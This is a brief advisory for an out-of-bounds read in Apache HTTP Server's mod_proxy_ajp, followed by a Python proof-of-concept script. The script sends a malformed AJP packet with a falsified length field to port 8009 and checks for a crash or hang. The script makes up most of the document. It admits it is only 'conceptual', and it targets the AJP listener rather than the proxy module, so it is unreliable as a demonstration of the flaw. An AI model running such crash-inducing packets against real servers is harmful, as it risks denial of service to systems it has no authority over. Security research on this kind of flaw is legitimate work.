Out-of-bounds Read vulnerability in mod_proxy_ajp of
Apache HTTP Server.
This issue affects Apache HTTP Server: through 2.4.66.
Users are recommended to upgrade to version 2.4.67, which fixes the issue.
The following code is for security research and authorized testing only.
python
import socket
import struct
# Target configuration
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 8009 # Default AJP port
def create_malformed_ajp_packet():
"""
Creates a malformed AJP packet to trigger the Out-of-bounds Read.
Note: This is a conceptual PoC. Adjust payload based on specific vulnerability details.
"""
magic = b'\x12\x34'
# Simulating a packet with a length that might cause OOB read
# Example: Sending a forward request with invalid attributes
data = b'\x02\x02\x00\x0C\x03\x00\x0F localhost\x00\x0F /index.jsp\x00\x00'
# Intentionally setting a length larger than actual data to test bounds
length = struct.pack('>H', 0xFFFF)
return magic + length + data
def send_poc():
try:
print(f"[*] Sending PoC to {TARGET_HOST}:{TARGET_PORT}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_HOST, TARGET_PORT))
payload = create_malformed_ajp_packet()
s.send(payload)
# Wait for response or timeout
s.settimeout(2)
response = s.recv(4096)
if response:
print("[+] Received response from server.")
else:
print("[-] No response received (possible crash or hang).")
s.close()
print("[*] PoC execution finished.")
except Exception as e:
print(f"[!] Error occurred: {e}")
if __name__ == "__main__":
send_poc()